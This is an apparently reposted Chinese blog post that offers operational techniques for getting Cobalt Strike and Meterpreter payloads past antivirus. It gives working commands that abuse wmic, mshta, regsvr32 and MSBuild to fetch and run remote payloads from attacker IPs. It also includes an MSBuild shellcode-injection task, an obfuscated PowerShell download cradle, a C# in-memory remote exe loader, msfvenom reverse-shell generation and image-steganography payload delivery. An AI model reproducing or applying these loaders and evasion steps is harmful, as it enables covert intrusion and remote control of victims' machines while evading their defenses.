??寫在前面
- ??博客主頁:Scorpio_m7
- ??歡迎關(guān)注??點贊??收藏??留言??
- ??本文由 Scorpio_m7原創(chuàng),CSDN首發(fā)!
- ??首發(fā)時間:??2022年1月28日??
- ??堅持和努力一定能換來詩與遠(yuǎn)方!
- ??作者水平很有限,如果發(fā)現(xiàn)錯誤,請留言轟炸哦!萬分感謝感謝感謝!
Wmic
wmic是一款Microsoft工具,它提供一個wmi命令行界面,用于本地和遠(yuǎn)程計算機的各種管理功能,以及wmic查詢,例如系統(tǒng)設(shè)置、停止進(jìn)程和本地或遠(yuǎn)程運行腳本。因此,它可以調(diào)用XSL腳本來執(zhí)行??梢酝ㄟ^xsl腳本來執(zhí)行命令,腳本一般用jscript編寫。先編寫一個xsl腳本,然后放到VPS上,受害機執(zhí)行下面命令會遠(yuǎn)程下載并執(zhí)行xsl的內(nèi)容。
C:\Users\Desktop>wmic os get /format:"http://172.21.66.218:8080/a.xsl"
<?xml version="1.0" encoding="UTF-16"?>0
通過安裝AMSI_bypass.cna重啟cs后attack->AMSI bypass Web Delivery(s)生成a.xsl,生成的代碼大致邏輯如下
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="JScript" implements-prefix="user">
var binary = "rundll32.exe";
var code = "XXX";
function setversion() {
var shell = new ActiveXObject('WScript.Shell');
ver = 'v4.0.30319';
try {
shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
} catch(e) {
ver = 'v2.0.50727';
}
shell.Environment('Process')('COMPLUS_Version') = ver;
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
function shellcode() {
var serialized_obj = "XXX";
var entry_class = 'cactusTorch';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var n = fmt.SurrogateSelector;
var d = fmt.Deserialize_2(stm);
al.Add(n);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
o.flame(binary,code);
} catch (e) {
debug(e.message);
}
return 0;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:shellcode()"/>
</xsl:template>
</xsl:stylesheet>
mshta
mshta.exe是微軟Windows操作系統(tǒng)相關(guān)程序,英文全稱Microsoft HTML Application,可翻譯為微軟超文本標(biāo)記語言應(yīng)用,用于執(zhí)行.HTA文件??梢允褂肕icrosoft MSHTA.exe工具解析JavaScript或VBScript的HTML文件。
編寫一個腳本,加載上面wmic講的的a.xsl,為了沒那么明顯,后綴名改為png,mshta同樣會把他當(dāng)成hta文件解釋運行。腳本可以通過AMSI_bypass.cna生成a.xsl時勾選use hta one liner
<HTML>
<HEAD>
</HEAD>
<BODY>
<script language="javascript" >
var xml = new ActiveXObject("Microsoft.XMLDOM");
xml.async = false;
var xsl = xml;
xsl.load("http://172.19.105.41:8080/a.xsl");
xml.transformNode(xsl);
self.close();
</script>
</body>
</html>
后面就跟wmic一樣上線。
C:\Users\Desktop>mshta http://172.19.105.41:8080/a.png
MSBUILD
MSBuild是Microsoft Build Engine的縮寫,代表Microsoft和Visual Studio的新的生成平臺。MSBuild可在未安裝Visual Studio的環(huán)境中編譯.net的工程文件。MSBuild可編譯特定格式的xml文件。windows下的msbuild命令可以執(zhí)行內(nèi)容為特定格式的文件。在.NET Framework 4.0中支持了一項新功能”Inline Tasks”,被包含在元素UsingTask中,可用來在xml文件中執(zhí)行c#代碼。參考:Use MSBuild To Do More
Xml的腳本,需要把executes shellcode.xml的shellcode改成cs的c#的payload,并且修改byte長度。
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute(){
byte[] shellcode = new byte[XXX] { c# shellcode };//修改這里
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
使用msbuild命令必須在指定的文件夾下,版本必須得是4.0。關(guān)閉Windows Defender運行32位MSBuild命令
C:\Windows\Microsoft.NET\Framework\v4.0.30319>MSBuild "C:\Users\Desktop\executes shellcode.xml"
Microsoft(R) 生成引擎版本 4.7.2046.0
[Microsoft .NET Framework 版本 4.0.30319.42000]
版權(quán)所有 (C) Microsoft Corporation。保留所有權(quán)利。
生成啟動時間為 2022/1/24 22:42:43。
regsvr32
Regsvr32命令用于注冊COM組件,是 Windows 系統(tǒng)提供的用來向系統(tǒng)注冊控件或者卸載控件的命令,以命令行方式運行。WinXP及以上系統(tǒng)的regsvr32.exe在windows\system32文件夾下;2000系統(tǒng)的regsvr32.exe在winnt\system32文件夾下。
- /u 取消注冊
- /s 指定 regsvr32 安靜運行,在成功注冊/反注冊DLL文件的前提下不顯示結(jié)果提示框。
- /n 指定不調(diào)用 DllRegisterServer。此選項必須與 /i 共同使用。
- /i:cmdline 調(diào)用 DllInstall 將它傳遞到可選的 [cmdline]。
C:\Users>regsvr32 /u /n /s /i:http://192.168.211.1/a.png scrobj.dll
后面的dll文件名不能更改。這個文件可以是任意后綴名,文件內(nèi)容格式得是xml格式的:
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Pentest"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd /k whoami");
]]>
</script>
</registration>
</scriptlet>
POWSHELL
本地執(zhí)行powershell
powershell.exe -ExecutionPolicy Bypass -file rgb.ps1
遠(yuǎn)程加載腳本并進(jìn)行參數(shù)的混淆。
powershell.exe -nop -w hidden -c "$c1='IEX(New-Object Net.WebClient).123'.Replace('123','Downlo');$c2='adString(''httaaa.101.120:80/a'')'.Replace('aaa','p://172.19');IEX ($c1+$c2)"
powershell是一個exe程序,可以執(zhí)行自己的命令或者powershell腳本。其實powershell的本質(zhì)就是解釋器,類似于python。python解釋器通過解釋了python腳本來調(diào)用操作系統(tǒng)給予的各種底層函數(shù);powershell通過解釋powershell腳本,來調(diào)用System.Management.Automation.dll。
System.Management.Automation是.NET 框架下的一個assembly類。而c#語言可以將所謂的c#“腳本”解釋后來調(diào)用.NET框架下所有的assembly。因此我們可以用c#實現(xiàn)powershell的功能。這在當(dāng)powershell被某些策略禁用的時候十分好用。
assembly類可以加載byte[]類型的數(shù)據(jù)到內(nèi)存中并當(dāng)作一個assembly文件去執(zhí)行。assembly文件就是c#寫的dll文件與exe文件。然而還有函數(shù)可以將遠(yuǎn)程的exe文件下載到本地并用byte[]格式去保存。
這兩個方式結(jié)合后就可以實現(xiàn)下載遠(yuǎn)程c#文件到內(nèi)存中直接執(zhí)行,可以繞過絕大多數(shù)殺軟。
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System;
using System.IO;
using System.Net;
using System.Linq;
using System.Reflection;
namespace demo1{
class Program{
static void Main(string[] args){
string fileDownloadurl = null;
string filedownloadtype = null;
byte[] filebuffer = null;
try{
fileDownloadurl = args[1];
filedownloadtype = args[0];
}
catch{
Console.WriteLine("\n加載遠(yuǎn)程exe文件到內(nèi)存執(zhí)行:sflcsharp.exe -b exe文件的url");
Console.WriteLine("\n加載遠(yuǎn)程base64密文文件到內(nèi)存執(zhí)行:為sflcsharp.exe -b64 b64文件的url");
Environment.Exit(0);
}
if (filedownloadtype == "-b"){
filebuffer = Downloadbinarypefilebyhttp(fileDownloadurl);
}
if (filedownloadtype == "-b64"){
filebuffer = downloadbase64(fileDownloadurl);
}
if (filebuffer != null){
Console.WriteLine("正在將下載下來的程序加載到當(dāng)前用戶的內(nèi)存中");
Assembly assemblyinstance = Assembly.Load(filebuffer); //將下載下來的程序加載到當(dāng)前用戶的內(nèi)存中
Console.WriteLine("正在尋找程序入口點并執(zhí)行程序");
assemblyinstance.EntryPoint.Invoke(null,new object[] { null}); //找到程序的入口點并執(zhí)行程序
Console.WriteLine("\n程序執(zhí)行完畢");
}
}
public static byte[] Downloadbinarypefilebyhttp(string url){
Console.WriteLine("\n創(chuàng)建WebClient類用來下載PE文件");
WebClient downloadwebclient = new WebClient(); //這個類可以從指定url上下載或者上傳數(shù)據(jù)
Console.WriteLine("\n下載文件后自動保存為byte[]格式\n");
byte[] test = downloadwebclient.DownloadData(url);
return test;
}
public static byte[] downloadbase64(string url){
Console.WriteLine("\n創(chuàng)建WebClient類用來下載base64密文文件,下載到的數(shù)據(jù)按照字符串格式保存在內(nèi)存");
WebClient downloadwebclient = new WebClient(); //這個類可以從指定url上下載或者上傳數(shù)據(jù)
string b64 = downloadwebclient.DownloadString(url);
Console.WriteLine("將base64字符串轉(zhuǎn)換為byte[]類型的數(shù)據(jù)");
byte[] test = Convert.FromBase64String(b64);
return test;
}
}
}
通過工具下載遠(yuǎn)程文件到內(nèi)存中直接執(zhí)行
C:\Users\root\Desktop>sflcsharp.exe -b http://192.168.211.1/artifact.exe
RGB隱寫上線
使用嵌入方法,每個像素中2個顏色值的最低有效4位用于保存有效負(fù)載。
-
使用cs生成payload.ps1或者適用msf生成
root@kali:~/# msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.253.8 LPORT=5555 -f psh-reflection > payload.ps1
-
受害機器上設(shè)置執(zhí)行策略
PS C:\Users\root\Desktop\Invoke-PSImage-master> Set-ExecutionPolicy Unrestricted -Scope CurrentUser
-
導(dǎo)入Invoke-PSImage.ps1文件
PS C:\Users\root\Desktop\Invoke-PSImage-master> Import-Module .\Invoke-PSImage.ps1
-
生成 shellcode 的圖片和上線命令文章來源:http://www.zghlxwxcb.cn/news/detail-469886.html
PS C:\Users\root\Desktop\Invoke-PSImage-master> Invoke-PSImage -Script .\payload.ps1 -Out .\evil.png -Image .\1.png -Web sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/evil.png"));$o=a Byte[] 3780;(0..14)|%{foreach($x in(0..251)){$p=$g.GetPixel($x,$_);$o[$_*252+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3538]))
-
把這個圖片上傳到服務(wù)器,并修改代碼的ip執(zhí)行就可以上線。文章來源地址http://www.zghlxwxcb.cn/news/detail-469886.html
PS C:\Users\root\Desktop\Invoke-PSImage-master> sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.211.1/evil.png"));$o=a Byte[] 3780;(0..14)|%{foreach($x in(0..251)){$p=$g.GetPixel($x,$_);$o[$_*252+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3538]))
到了這里,關(guān)于CS免殺上線方式的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!